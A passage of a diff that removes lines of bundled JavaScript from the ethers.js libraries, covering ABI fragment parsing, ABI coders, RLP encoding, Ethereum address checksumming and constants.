(value.split("(")[0].trim() === "constructor") { - return ConstructorFragment.fromString(value.trim()); - } else if (value.split(" ")[0] === "error") { - return ErrorFragment.fromString(value.substring(5).trim()); - } - return logger24.throwArgumentError("unsupported fragment", "value", value); - } - static isFragment(value) { - return !!(value && value._isFragment); - } - }; - var EventFragment = class _EventFragment extends Fragment { - format(format) { - if (!format) { - format = FormatTypes.sighash; - } - if (!FormatTypes[format]) { - logger24.throwArgumentError("invalid format type", "format", format); - } - if (format === FormatTypes.json) { - return JSON.stringify({ - type: "event", - anonymous: this.anonymous, - name: this.name, - inputs: this.inputs.map((input) => JSON.parse(input.format(format))) - }); - } - let result = ""; - if (format !== FormatTypes.sighash) { - result += "event "; - } - result += this.name + "(" + this.inputs.map((input) => input.format(format)).join(format === FormatTypes.full ? ", " : ",") + ") "; - if (format !== FormatTypes.sighash) { - if (this.anonymous) { - result += "anonymous "; - } - } - return result.trim(); - } - static from(value) { - if (typeof value === "string") { - return _EventFragment.fromString(value); - } - return _EventFragment.fromObject(value); - } - static fromObject(value) { - if (_EventFragment.isEventFragment(value)) { - return value; - } - if (value.type !== "event") { - logger24.throwArgumentError("invalid event object", "value", value); - } - const params = { - name: verifyIdentifier(value.name), - anonymous: value.anonymous, - inputs: value.inputs ? value.inputs.map(ParamType.fromObject) : [], - type: "event" - }; - return new _EventFragment(_constructorGuard5, params); - } - static fromString(value) { - let match = value.match(regexParen); - if (!match) { - logger24.throwArgumentError("invalid event string", "value", value); - } - let anonymous = false; - match[3].split(" ").forEach((modifier) => { - switch (modifier.trim()) { - case "anonymous": - anonymous = true; - break; - case "": - break; - default: - logger24.warn("unknown modifier: " + modifier); - } - }); - return _EventFragment.fromObject({ - name: match[1].trim(), - anonymous, - inputs: parseParams(match[2], true), - type: "event" - }); - } - static isEventFragment(value) { - return value && value._isFragment && value.type === "event"; - } - }; - function parseGas(value, params) { - params.gas = null; - let comps = value.split("@"); - if (comps.length !== 1) { - if (comps.length > 2) { - logger24.throwArgumentError("invalid human-readable ABI signature", "value", value); - } - if (!comps[1].match(/^[0-9]+$/)) { - logger24.throwArgumentError("invalid human-readable ABI signature gas", "value", value); - } - params.gas = BigNumber2.from(comps[1]); - return comps[0]; - } - return value; - } - function parseModifiers(value, params) { - params.constant = false; - params.payable = false; - params.stateMutability = "nonpayable"; - value.split(" ").forEach((modifier) => { - switch (modifier.trim()) { - case "constant": - params.constant = true; - break; - case "payable": - params.payable = true; - params.stateMutability = "payable"; - break; - case "nonpayable": - params.payable = false; - params.stateMutability = "nonpayable"; - break; - case "pure": - params.constant = true; - params.stateMutability = "pure"; - break; - case "view": - params.constant = true; - params.stateMutability = "view"; - break; - case "external": - case "public": - case "": - break; - default: - console.log("unknown modifier: " + modifier); - } - }); - } - function verifyState(value) { - let result = { - constant: false, - payable: true, - stateMutability: "payable" - }; - if (value.stateMutability != null) { - result.stateMutability = value.stateMutability; - result.constant = result.stateMutability === "view" || result.stateMutability === "pure"; - if (value.constant != null) { - if (!!value.constant !== result.constant) { - logger24.throwArgumentError("cannot have constant function with mutability " + result.stateMutability, "value", value); - } - } - result.payable = result.stateMutability === "payable"; - if (value.payable != null) { - if (!!value.payable !== result.payable) { - logger24.throwArgumentError("cannot have payable function with mutability " + result.stateMutability, "value", value); - } - } - } else if (value.payable != null) { - result.payable = !!value.payable; - if (value.constant == null && !result.payable && value.type !== "constructor") { - logger24.throwArgumentError("unable to determine stateMutability", "value", value); - } - result.constant = !!value.constant; - if (result.constant) { - result.stateMutability = "view"; - } else { - result.stateMutability = result.payable ? "payable" : "nonpayable"; - } - if (result.payable && result.constant) { - logger24.throwArgumentError("cannot have constant payable function", "value", value); - } - } else if (value.constant != null) { - result.constant = !!value.constant; - result.payable = !result.constant; - result.stateMutability = result.constant ? "view" : "payable"; - } else if (value.type !== "constructor") { - logger24.throwArgumentError("unable to determine stateMutability", "value", value); - } - return result; - } - var ConstructorFragment = class _ConstructorFragment extends Fragment { - format(format) { - if (!format) { - format = FormatTypes.sighash; - } - if (!FormatTypes[format]) { - logger24.throwArgumentError("invalid format type", "format", format); - } - if (format === FormatTypes.json) { - return JSON.stringify({ - type: "constructor", - stateMutability: this.stateMutability !== "nonpayable" ? this.stateMutability : void 0, - payable: this.payable, - gas: this.gas ? this.gas.toNumber() : void 0, - inputs: this.inputs.map((input) => JSON.parse(input.format(format))) - }); - } - if (format === FormatTypes.sighash) { - logger24.throwError("cannot format a constructor for sighash", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "format(sighash)" - }); - } - let result = "constructor(" + this.inputs.map((input) => input.format(format)).join(format === FormatTypes.full ? ", " : ",") + ") "; - if (this.stateMutability && this.stateMutability !== "nonpayable") { - result += this.stateMutability + " "; - } - return result.trim(); - } - static from(value) { - if (typeof value === "string") { - return _ConstructorFragment.fromString(value); - } - return _ConstructorFragment.fromObject(value); - } - static fromObject(value) { - if (_ConstructorFragment.isConstructorFragment(value)) { - return value; - } - if (value.type !== "constructor") { - logger24.throwArgumentError("invalid constructor object", "value", value); - } - let state = verifyState(value); - if (state.constant) { - logger24.throwArgumentError("constructor cannot be constant", "value", value); - } - const params = { - name: null, - type: value.type, - inputs: value.inputs ? value.inputs.map(ParamType.fromObject) : [], - payable: state.payable, - stateMutability: state.stateMutability, - gas: value.gas ? BigNumber2.from(value.gas) : null - }; - return new _ConstructorFragment(_constructorGuard5, params); - } - static fromString(value) { - let params = { type: "constructor" }; - value = parseGas(value, params); - let parens = value.match(regexParen); - if (!parens || parens[1].trim() !== "constructor") { - logger24.throwArgumentError("invalid constructor string", "value", value); - } - params.inputs = parseParams(parens[2].trim(), false); - parseModifiers(parens[3].trim(), params); - return _ConstructorFragment.fromObject(params); - } - static isConstructorFragment(value) { - return value && value._isFragment && value.type === "constructor"; - } - }; - var FunctionFragment = class _FunctionFragment extends ConstructorFragment { - format(format) { - if (!format) { - format = FormatTypes.sighash; - } - if (!FormatTypes[format]) { - logger24.throwArgumentError("invalid format type", "format", format); - } - if (format === FormatTypes.json) { - return JSON.stringify({ - type: "function", - name: this.name, - constant: this.constant, - stateMutability: this.stateMutability !== "nonpayable" ? this.stateMutability : void 0, - payable: this.payable, - gas: this.gas ? this.gas.toNumber() : void 0, - inputs: this.inputs.map((input) => JSON.parse(input.format(format))), - outputs: this.outputs.map((output) => JSON.parse(output.format(format))) - }); - } - let result = ""; - if (format !== FormatTypes.sighash) { - result += "function "; - } - result += this.name + "(" + this.inputs.map((input) => input.format(format)).join(format === FormatTypes.full ? ", " : ",") + ") "; - if (format !== FormatTypes.sighash) { - if (this.stateMutability) { - if (this.stateMutability !== "nonpayable") { - result += this.stateMutability + " "; - } - } else if (this.constant) { - result += "view "; - } - if (this.outputs && this.outputs.length) { - result += "returns (" + this.outputs.map((output) => output.format(format)).join(", ") + ") "; - } - if (this.gas != null) { - result += "@" + this.gas.toString() + " "; - } - } - return result.trim(); - } - static from(value) { - if (typeof value === "string") { - return _FunctionFragment.fromString(value); - } - return _FunctionFragment.fromObject(value); - } - static fromObject(value) { - if (_FunctionFragment.isFunctionFragment(value)) { - return value; - } - if (value.type !== "function") { - logger24.throwArgumentError("invalid function object", "value", value); - } - let state = verifyState(value); - const params = { - type: value.type, - name: verifyIdentifier(value.name), - constant: state.constant, - inputs: value.inputs ? value.inputs.map(ParamType.fromObject) : [], - outputs: value.outputs ? value.outputs.map(ParamType.fromObject) : [], - payable: state.payable, - stateMutability: state.stateMutability, - gas: value.gas ? BigNumber2.from(value.gas) : null - }; - return new _FunctionFragment(_constructorGuard5, params); - } - static fromString(value) { - let params = { type: "function" }; - value = parseGas(value, params); - let comps = value.split(" returns "); - if (comps.length > 2) { - logger24.throwArgumentError("invalid function string", "value", value); - } - let parens = comps[0].match(regexParen); - if (!parens) { - logger24.throwArgumentError("invalid function signature", "value", value); - } - params.name = parens[1].trim(); - if (params.name) { - verifyIdentifier(params.name); - } - params.inputs = parseParams(parens[2], false); - parseModifiers(parens[3].trim(), params); - if (comps.length > 1) { - let returns = comps[1].match(regexParen); - if (returns[1].trim() != "" || returns[3].trim() != "") { - logger24.throwArgumentError("unexpected tokens", "value", value); - } - params.outputs = parseParams(returns[2], false); - } else { - params.outputs = []; - } - return _FunctionFragment.fromObject(params); - } - static isFunctionFragment(value) { - return value && value._isFragment && value.type === "function"; - } - }; - function checkForbidden(fragment) { - const sig = fragment.format(); - if (sig === "Error(string)" || sig === "Panic(uint256)") { - logger24.throwArgumentError(`cannot specify user defined ${sig} error`, "fragment", fragment); - } - return fragment; - } - var ErrorFragment = class _ErrorFragment extends Fragment { - format(format) { - if (!format) { - format = FormatTypes.sighash; - } - if (!FormatTypes[format]) { - logger24.throwArgumentError("invalid format type", "format", format); - } - if (format === FormatTypes.json) { - return JSON.stringify({ - type: "error", - name: this.name, - inputs: this.inputs.map((input) => JSON.parse(input.format(format))) - }); - } - let result = ""; - if (format !== FormatTypes.sighash) { - result += "error "; - } - result += this.name + "(" + this.inputs.map((input) => input.format(format)).join(format === FormatTypes.full ? ", " : ",") + ") "; - return result.trim(); - } - static from(value) { - if (typeof value === "string") { - return _ErrorFragment.fromString(value); - } - return _ErrorFragment.fromObject(value); - } - static fromObject(value) { - if (_ErrorFragment.isErrorFragment(value)) { - return value; - } - if (value.type !== "error") { - logger24.throwArgumentError("invalid error object", "value", value); - } - const params = { - type: value.type, - name: verifyIdentifier(value.name), - inputs: value.inputs ? value.inputs.map(ParamType.fromObject) : [] - }; - return checkForbidden(new _ErrorFragment(_constructorGuard5, params)); - } - static fromString(value) { - let params = { type: "error" }; - let parens = value.match(regexParen); - if (!parens) { - logger24.throwArgumentError("invalid error signature", "value", value); - } - params.name = parens[1].trim(); - if (params.name) { - verifyIdentifier(params.name); - } - params.inputs = parseParams(parens[2], false); - return checkForbidden(_ErrorFragment.fromObject(params)); - } - static isErrorFragment(value) { - return value && value._isFragment && value.type === "error"; - } - }; - function verifyType(type) { - if (type.match(/^uint($|[^1-9])/)) { - type = "uint256" + type.substring(4); - } else if (type.match(/^int($|[^1-9])/)) { - type = "int256" + type.substring(3); - } - return type; - } - var regexIdentifier = new RegExp("^[a-zA-Z$_][a-zA-Z0-9$_]*$"); - function verifyIdentifier(value) { - if (!value || !value.match(regexIdentifier)) { - logger24.throwArgumentError(`invalid identifier "${value}"`, "value", value); - } - return value; - } - var regexParen = new RegExp("^([^)(]*)\\((.*)\\)([^)(]*)$"); - function splitNesting(value) { - value = value.trim(); - let result = []; - let accum = ""; - let depth = 0; - for (let offset = 0; offset < value.length; offset++) { - let c = value[offset]; - if (c === "," && depth === 0) { - result.push(accum); - accum = ""; - } else { - accum += c; - if (c === "(") { - depth++; - } else if (c === ")") { - depth--; - if (depth === -1) { - logger24.throwArgumentError("unbalanced parenthesis", "value", value); - } - } - } - } - if (accum) { - result.push(accum); - } - return result; - } - - // node_modules/@ethersproject/abi/lib.esm/coders/abstract-coder.js - var logger25 = new Logger2(version25); - function checkResultErrors(result) { - const errors = []; - const checkErrors = function(path, object) { - if (!Array.isArray(object)) { - return; - } - for (let key3 in object) { - const childPath = path.slice(); - childPath.push(key3); - try { - checkErrors(childPath, object[key3]); - } catch (error) { - errors.push({ path: childPath, error }); - } - } - }; - checkErrors([], result); - return errors; - } - var Coder = class { - constructor(name, type, localName, dynamic) { - this.name = name; - this.type = type; - this.localName = localName; - this.dynamic = dynamic; - } - _throwError(message, value) { - logger25.throwArgumentError(message, this.localName, value); - } - }; - var Writer = class { - constructor(wordSize) { - defineReadOnly2(this, "wordSize", wordSize || 32); - this._data = []; - this._dataLength = 0; - this._padding = new Uint8Array(wordSize); - } - get data() { - return hexConcat2(this._data); - } - get length() { - return this._dataLength; - } - _writeData(data) { - this._data.push(data); - this._dataLength += data.length; - return data.length; - } - appendWriter(writer) { - return this._writeData(concat2(writer._data)); - } - // Arrayish items; padded on the right to wordSize - writeBytes(value) { - let bytes = arrayify2(value); - const paddingOffset = bytes.length % this.wordSize; - if (paddingOffset) { - bytes = concat2([bytes, this._padding.slice(paddingOffset)]); - } - return this._writeData(bytes); - } - _getValue(value) { - let bytes = arrayify2(BigNumber2.from(value)); - if (bytes.length > this.wordSize) { - logger25.throwError("value out-of-bounds", Logger2.errors.BUFFER_OVERRUN, { - length: this.wordSize, - offset: bytes.length - }); - } - if (bytes.length % this.wordSize) { - bytes = concat2([this._padding.slice(bytes.length % this.wordSize), bytes]); - } - return bytes; - } - // BigNumberish items; padded on the left to wordSize - writeValue(value) { - return this._writeData(this._getValue(value)); - } - writeUpdatableValue() { - const offset = this._data.length; - this._data.push(this._padding); - this._dataLength += this.wordSize; - return (value) => { - this._data[offset] = this._getValue(value); - }; - } - }; - var Reader = class _Reader { - constructor(data, wordSize, coerceFunc, allowLoose) { - defineReadOnly2(this, "_data", arrayify2(data)); - defineReadOnly2(this, "wordSize", wordSize || 32); - defineReadOnly2(this, "_coerceFunc", coerceFunc); - defineReadOnly2(this, "allowLoose", allowLoose); - this._offset = 0; - } - get data() { - return hexlify2(this._data); - } - get consumed() { - return this._offset; - } - // The default Coerce function - static coerce(name, value) { - let match = name.match("^u?int([0-9]+)$"); - if (match && parseInt(match[1]) <= 48) { - value = value.toNumber(); - } - return value; - } - coerce(name, value) { - if (this._coerceFunc) { - return this._coerceFunc(name, value); - } - return _Reader.coerce(name, value); - } - _peekBytes(offset, length, loose) { - let alignedLength = Math.ceil(length / this.wordSize) * this.wordSize; - if (this._offset + alignedLength > this._data.length) { - if (this.allowLoose && loose && this._offset + length <= this._data.length) { - alignedLength = length; - } else { - logger25.throwError("data out-of-bounds", Logger2.errors.BUFFER_OVERRUN, { - length: this._data.length, - offset: this._offset + alignedLength - }); - } - } - return this._data.slice(this._offset, this._offset + alignedLength); - } - subReader(offset) { - return new _Reader(this._data.slice(this._offset + offset), this.wordSize, this._coerceFunc, this.allowLoose); - } - readBytes(length, loose) { - let bytes = this._peekBytes(0, length, !!loose); - this._offset += bytes.length; - return bytes.slice(0, length); - } - readValue() { - return BigNumber2.from(this.readBytes(this.wordSize)); - } - }; - - // node_modules/@ethersproject/keccak256/lib.esm/index.js - var import_js_sha32 = __toESM(require_sha32()); - function keccak2562(data) { - return "0x" + import_js_sha32.default.keccak_256(arrayify2(data)); - } - - // node_modules/@ethersproject/rlp/lib.esm/index.js - var lib_exports = {}; - __export(lib_exports, { - decode: () => decode3, - encode: () => encode6 - }); - - // node_modules/@ethersproject/rlp/lib.esm/_version.js - var version26 = "rlp/5.7.0"; - - // node_modules/@ethersproject/rlp/lib.esm/index.js - var logger26 = new Logger2(version26); - function arrayifyInteger2(value) { - const result = []; - while (value) { - result.unshift(value & 255); - value >>= 8; - } - return result; - } - function unarrayifyInteger2(data, offset, length) { - let result = 0; - for (let i = 0; i < length; i++) { - result = result * 256 + data[offset + i]; - } - return result; - } - function _encode3(object) { - if (Array.isArray(object)) { - let payload = []; - object.forEach(function(child) { - payload = payload.concat(_encode3(child)); - }); - if (payload.length <= 55) { - payload.unshift(192 + payload.length); - return payload; - } - const length2 = arrayifyInteger2(payload.length); - length2.unshift(247 + length2.length); - return length2.concat(payload); - } - if (!isBytesLike2(object)) { - logger26.throwArgumentError("RLP object must be BytesLike", "object", object); - } - const data = Array.prototype.slice.call(arrayify2(object)); - if (data.length === 1 && data[0] <= 127) { - return data; - } else if (data.length <= 55) { - data.unshift(128 + data.length); - return data; - } - const length = arrayifyInteger2(data.length); - length.unshift(183 + length.length); - return length.concat(data); - } - function encode6(object) { - return hexlify2(_encode3(object)); - } - function _decodeChildren2(data, offset, childOffset, length) { - const result = []; - while (childOffset < offset + 1 + length) { - const decoded = _decode2(data, childOffset); - result.push(decoded.result); - childOffset += decoded.consumed; - if (childOffset > offset + 1 + length) { - logger26.throwError("child data too short", Logger2.errors.BUFFER_OVERRUN, {}); - } - } - return { consumed: 1 + length, result }; - } - function _decode2(data, offset) { - if (data.length === 0) { - logger26.throwError("data too short", Logger2.errors.BUFFER_OVERRUN, {}); - } - if (data[offset] >= 248) { - const lengthLength = data[offset] - 247; - if (offset + 1 + lengthLength > data.length) { - logger26.throwError("data short segment too short", Logger2.errors.BUFFER_OVERRUN, {}); - } - const length = unarrayifyInteger2(data, offset + 1, lengthLength); - if (offset + 1 + lengthLength + length > data.length) { - logger26.throwError("data long segment too short", Logger2.errors.BUFFER_OVERRUN, {}); - } - return _decodeChildren2(data, offset, offset + 1 + lengthLength, lengthLength + length); - } else if (data[offset] >= 192) { - const length = data[offset] - 192; - if (offset + 1 + length > data.length) { - logger26.throwError("data array too short", Logger2.errors.BUFFER_OVERRUN, {}); - } - return _decodeChildren2(data, offset, offset + 1, length); - } else if (data[offset] >= 184) { - const lengthLength = data[offset] - 183; - if (offset + 1 + lengthLength > data.length) { - logger26.throwError("data array too short", Logger2.errors.BUFFER_OVERRUN, {}); - } - const length = unarrayifyInteger2(data, offset + 1, lengthLength); - if (offset + 1 + lengthLength + length > data.length) { - logger26.throwError("data array too short", Logger2.errors.BUFFER_OVERRUN, {}); - } - const result = hexlify2(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length)); - return { consumed: 1 + lengthLength + length, result }; - } else if (data[offset] >= 128) { - const length = data[offset] - 128; - if (offset + 1 + length > data.length) { - logger26.throwError("data too short", Logger2.errors.BUFFER_OVERRUN, {}); - } - const result = hexlify2(data.slice(offset + 1, offset + 1 + length)); - return { consumed: 1 + length, result }; - } - return { consumed: 1, result: hexlify2(data[offset]) }; - } - function decode3(data) { - const bytes = arrayify2(data); - const decoded = _decode2(bytes, 0); - if (decoded.consumed !== bytes.length) { - logger26.throwArgumentError("invalid rlp data", "data", data); - } - return decoded.result; - } - - // node_modules/@ethersproject/address/lib.esm/_version.js - var version27 = "address/5.7.0"; - - // node_modules/@ethersproject/address/lib.esm/index.js - var logger27 = new Logger2(version27); - function getChecksumAddress2(address) { - if (!isHexString2(address, 20)) { - logger27.throwArgumentError("invalid address", "address", address); - } - address = address.toLowerCase(); - const chars = address.substring(2).split(""); - const expanded = new Uint8Array(40); - for (let i = 0; i < 40; i++) { - expanded[i] = chars[i].charCodeAt(0); - } - const hashed = arrayify2(keccak2562(expanded)); - for (let i = 0; i < 40; i += 2) { - if (hashed[i >> 1] >> 4 >= 8) { - chars[i] = chars[i].toUpperCase(); - } - if ((hashed[i >> 1] & 15) >= 8) { - chars[i + 1] = chars[i + 1].toUpperCase(); - } - } - return "0x" + chars.join(""); - } - var MAX_SAFE_INTEGER2 = 9007199254740991; - function log102(x) { - if (Math.log10) { - return Math.log10(x); - } - return Math.log(x) / Math.LN10; - } - var ibanLookup2 = {}; - for (let i = 0; i < 10; i++) { - ibanLookup2[String(i)] = String(i); - } - for (let i = 0; i < 26; i++) { - ibanLookup2[String.fromCharCode(65 + i)] = String(10 + i); - } - var safeDigits2 = Math.floor(log102(MAX_SAFE_INTEGER2)); - function ibanChecksum2(address) { - address = address.toUpperCase(); - address = address.substring(4) + address.substring(0, 2) + "00"; - let expanded = address.split("").map((c) => { - return ibanLookup2[c]; - }).join(""); - while (expanded.length >= safeDigits2) { - let block = expanded.substring(0, safeDigits2); - expanded = parseInt(block, 10) % 97 + expanded.substring(block.length); - } - let checksum = String(98 - parseInt(expanded, 10) % 97); - while (checksum.length < 2) { - checksum = "0" + checksum; - } - return checksum; - } - function getAddress2(address) { - let result = null; - if (typeof address !== "string") { - logger27.throwArgumentError("invalid address", "address", address); - } - if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) { - if (address.substring(0, 2) !== "0x") { - address = "0x" + address; - } - result = getChecksumAddress2(address); - if (address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) && result !== address) { - logger27.throwArgumentError("bad address checksum", "address", address); - } - } else if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { - if (address.substring(2, 4) !== ibanChecksum2(address)) { - logger27.throwArgumentError("bad icap checksum", "address", address); - } - result = _base36To162(address.substring(4)); - while (result.length < 40) { - result = "0" + result; - } - result = getChecksumAddress2("0x" + result); - } else { - logger27.throwArgumentError("invalid address", "address", address); - } - return result; - } - function isAddress(address) { - try { - getAddress2(address); - return true; - } catch (error) { - } - return false; - } - function getIcapAddress(address) { - let base36 = _base16To36(getAddress2(address).substring(2)).toUpperCase(); - while (base36.length < 30) { - base36 = "0" + base36; - } - return "XE" + ibanChecksum2("XE00" + base36) + base36; - } - function getContractAddress2(transaction) { - let from = null; - try { - from = getAddress2(transaction.from); - } catch (error) { - logger27.throwArgumentError("missing from address", "transaction", transaction); - } - const nonce = stripZeros2(arrayify2(BigNumber2.from(transaction.nonce).toHexString())); - return getAddress2(hexDataSlice2(keccak2562(encode6([from, nonce])), 12)); - } - function getCreate2Address(from, salt, initCodeHash) { - if (hexDataLength2(salt) !== 32) { - logger27.throwArgumentError("salt must be 32 bytes", "salt", salt); - } - if (hexDataLength2(initCodeHash) !== 32) { - logger27.throwArgumentError("initCodeHash must be 32 bytes", "initCodeHash", initCodeHash); - } - return getAddress2(hexDataSlice2(keccak2562(concat2(["0xff", getAddress2(from), salt, initCodeHash])), 12)); - } - - // node_modules/@ethersproject/abi/lib.esm/coders/address.js - var AddressCoder = class extends Coder { - constructor(localName) { - super("address", "address", localName, false); - } - defaultValue() { - return "0x0000000000000000000000000000000000000000"; - } - encode(writer, value) { - try { - value = getAddress2(value); - } catch (error) { - this._throwError(error.message, value); - } - return writer.writeValue(value); - } - decode(reader) { - return getAddress2(hexZeroPad2(reader.readValue().toHexString(), 20)); - } - }; - - // node_modules/@ethersproject/abi/lib.esm/coders/anonymous.js - var AnonymousCoder = class extends Coder { - constructor(coder) { - super(coder.name, coder.type, void 0, coder.dynamic); - this.coder = coder; - } - defaultValue() { - return this.coder.defaultValue(); - } - encode(writer, value) { - return this.coder.encode(writer, value); - } - decode(reader) { - return this.coder.decode(reader); - } - }; - - // node_modules/@ethersproject/abi/lib.esm/coders/array.js - var logger28 = new Logger2(version25); - function pack(writer, coders, values) { - let arrayValues = null; - if (Array.isArray(values)) { - arrayValues = values; - } else if (values && typeof values === "object") { - let unique = {}; - arrayValues = coders.map((coder) => { - const name = coder.localName; - if (!name) { - logger28.throwError("cannot encode object for signature with missing names", Logger2.errors.INVALID_ARGUMENT, { - argument: "values", - coder, - value: values - }); - } - if (unique[name]) { - logger28.throwError("cannot encode object for signature with duplicate names", Logger2.errors.INVALID_ARGUMENT, { - argument: "values", - coder, - value: values - }); - } - unique[name] = true; - return values[name]; - }); - } else { - logger28.throwArgumentError("invalid tuple value", "tuple", values); - } - if (coders.length !== arrayValues.length) { - logger28.throwArgumentError("types/value length mismatch", "tuple", values); - } - let staticWriter = new Writer(writer.wordSize); - let dynamicWriter = new Writer(writer.wordSize); - let updateFuncs = []; - coders.forEach((coder, index2) => { - let value = arrayValues[index2]; - if (coder.dynamic) { - let dynamicOffset = dynamicWriter.length; - coder.encode(dynamicWriter, value); - let updateFunc = staticWriter.writeUpdatableValue(); - updateFuncs.push((baseOffset) => { - updateFunc(baseOffset + dynamicOffset); - }); - } else { - coder.encode(staticWriter, value); - } - }); - updateFuncs.forEach((func) => { - func(staticWriter.length); - }); - let length = writer.appendWriter(staticWriter); - length += writer.appendWriter(dynamicWriter); - return length; - } - function unpack(reader, coders) { - let values = []; - let baseReader = reader.subReader(0); - coders.forEach((coder) => { - let value = null; - if (coder.dynamic) { - let offset = reader.readValue(); - let offsetReader = baseReader.subReader(offset.toNumber()); - try { - value = coder.decode(offsetReader); - } catch (error) { - if (error.code === Logger2.errors.BUFFER_OVERRUN) { - throw error; - } - value = error; - value.baseType = coder.name; - value.name = coder.localName; - value.type = coder.type; - } - } else { - try { - value = coder.decode(reader); - } catch (error) { - if (error.code === Logger2.errors.BUFFER_OVERRUN) { - throw error; - } - value = error; - value.baseType = coder.name; - value.name = coder.localName; - value.type = coder.type; - } - } - if (value != void 0) { - values.push(value); - } - }); - const uniqueNames = coders.reduce((accum, coder) => { - const name = coder.localName; - if (name) { - if (!accum[name]) { - accum[name] = 0; - } - accum[name]++; - } - return accum; - }, {}); - coders.forEach((coder, index2) => { - let name = coder.localName; - if (!name || uniqueNames[name] !== 1) { - return; - } - if (name === "length") { - name = "_length"; - } - if (values[name] != null) { - return; - } - const value = values[index2]; - if (value instanceof Error) { - Object.defineProperty(values, name, { - enumerable: true, - get: () => { - throw value; - } - }); - } else { - values[name] = value; - } - }); - for (let i = 0; i < values.length; i++) { - const value = values[i]; - if (value instanceof Error) { - Object.defineProperty(values, i, { - enumerable: true, - get: () => { - throw value; - } - }); - } - } - return Object.freeze(values); - } - var ArrayCoder = class extends Coder { - constructor(coder, length, localName) { - const type = coder.type + "[" + (length >= 0 ? length : "") + "]"; - const dynamic = length === -1 || coder.dynamic; - super("array", type, localName, dynamic); - this.coder = coder; - this.length = length; - } - defaultValue() { - const defaultChild = this.coder.defaultValue(); - const result = []; - for (let i = 0; i < this.length; i++) { - result.push(defaultChild); - } - return result; - } - encode(writer, value) { - if (!Array.isArray(value)) { - this._throwError("expected array value", value); - } - let count = this.length; - if (count === -1) { - count = value.length; - writer.writeValue(value.length); - } - logger28.checkArgumentCount(value.length, count, "coder array" + (this.localName ? " " + this.localName : "")); - let coders = []; - for (let i = 0; i < value.length; i++) { - coders.push(this.coder); - } - return pack(writer, coders, value); - } - decode(reader) { - let count = this.length; - if (count === -1) { - count = reader.readValue().toNumber(); - if (count * 32 > reader._data.length) { - logger28.throwError("insufficient data length", Logger2.errors.BUFFER_OVERRUN, { - length: reader._data.length, - count - }); - } - } - let coders = []; - for (let i = 0; i < count; i++) { - coders.push(new AnonymousCoder(this.coder)); - } - return reader.coerce(this.name, unpack(reader, coders)); - } - }; - - // node_modules/@ethersproject/abi/lib.esm/coders/boolean.js - var BooleanCoder = class extends Coder { - constructor(localName) { - super("bool", "bool", localName, false); - } - defaultValue() { - return false; - } - encode(writer, value) { - return writer.writeValue(value ? 1 : 0); - } - decode(reader) { - return reader.coerce(this.type, !reader.readValue().isZero()); - } - }; - - // node_modules/@ethersproject/abi/lib.esm/coders/bytes.js - var DynamicBytesCoder = class extends Coder { - constructor(type, localName) { - super(type, type, localName, true); - } - defaultValue() { - return "0x"; - } - encode(writer, value) { - value = arrayify2(value); - let length = writer.writeValue(value.length); - length += writer.writeBytes(value); - return length; - } - decode(reader) { - return reader.readBytes(reader.readValue().toNumber(), true); - } - }; - var BytesCoder = class extends DynamicBytesCoder { - constructor(localName) { - super("bytes", localName); - } - decode(reader) { - return reader.coerce(this.name, hexlify2(super.decode(reader))); - } - }; - - // node_modules/@ethersproject/abi/lib.esm/coders/fixed-bytes.js - var FixedBytesCoder = class extends Coder { - constructor(size, localName) { - let name = "bytes" + String(size); - super(name, name, localName, false); - this.size = size; - } - defaultValue() { - return "0x0000000000000000000000000000000000000000000000000000000000000000".substring(0, 2 + this.size * 2); - } - encode(writer, value) { - let data = arrayify2(value); - if (data.length !== this.size) { - this._throwError("incorrect data length", value); - } - return writer.writeBytes(data); - } - decode(reader) { - return reader.coerce(this.name, hexlify2(reader.readBytes(this.size))); - } - }; - - // node_modules/@ethersproject/abi/lib.esm/coders/null.js - var NullCoder = class extends Coder { - constructor(localName) { - super("null", "", localName, false); - } - defaultValue() { - return null; - } - encode(writer, value) { - if (value != null) { - this._throwError("not null", value); - } - return writer.writeBytes([]); - } - decode(reader) { - reader.readBytes(0); - return reader.coerce(this.name, null); - } - }; - - // node_modules/@ethersproject/constants/lib.esm/index.js - var lib_exports2 = {}; - __export(lib_exports2, { - AddressZero: () => AddressZero2, - EtherSymbol: () => EtherSymbol, - HashZero: () => HashZero2, - MaxInt256: () => MaxInt256, - MaxUint256: () => MaxUint256, - MinInt256: () => MinInt256, - NegativeOne: () => NegativeOne3, - One: () => One, - Two: () => Two, - WeiPerEther: () => WeiPerEther, - Zero: () => Zero4 - }); - - // node_modules/@ethersproject/constants/lib.esm/addresses.js - var AddressZero2 = "0x0000000000000000000000000000000000000000"; - - // node_modules/@ethersproject/constants/lib.esm/bignumbers.js - var NegativeOne3 = /* @__PURE__ */ BigNumber2.from(-1); - var Zero4 = /* @__PURE__ */ BigNumber2.from(0); - var One = /* @__PURE__ */ BigNumber2.from(1); - var Two = /* @__PURE__ */ BigNumber2.from(2); - var WeiPerEther = /* @__PURE__ */ BigNumber2.from("1000000000000000000"); - var MaxUint256 = /* @__PURE__ */ BigNumber2.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - var MinInt256 = /* @__PURE__ */ BigNumber2.from("-0x8000000000000000000000000000000000000000000000000000000000000000"); - var MaxInt256 = /* @__PURE__ */ BigNumber2.from("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - - // node_modules/@ethersproject/constants/lib.esm/hashes.js - var HashZero2 = "0x0000000000000000000000000000000000000000000000000000000000000000"; - - // node_modules/@ethersproject/constants/lib.esm/strings.js - var EtherSymbol = "\u039E"; - - // node_modules/@ethersproject/abi/lib.esm/coders/number.js - var NumberCoder = class extends Coder { - constructor(size, signed3, localName) { - const name = (signed3 ? "int" : "uint") + size * 8; - super(name, name, localName, false); - this.size = size; - this.signed = signed3; - } - defaultValue() { - return 0; - } - encode(writer, value) { - let v = BigNumber2.from(value); - let maxUintValue = MaxUint256.mask(writer.wordSize * 8); - if (this.signed) { - let bounds = maxUintValue.mask(this.size * 8 - 1); - if (v.gt(bounds) || v.lt(bounds.add(One).mul(NegativeOne3))) { - this._throwError("value out-of-bounds", value); - } - } else if (v.lt(Zero4) || v.gt(maxUintValue.mask(this.size * 8))) { - this._throwError("value out-of-bounds", value); - } - v = v.toTwos(this.size * 8).mask(this.size * 8); - if (this.signed) { - v = v.fromTwos(this.size * 8).toTwos(8 * writer.wordSize); - } - return 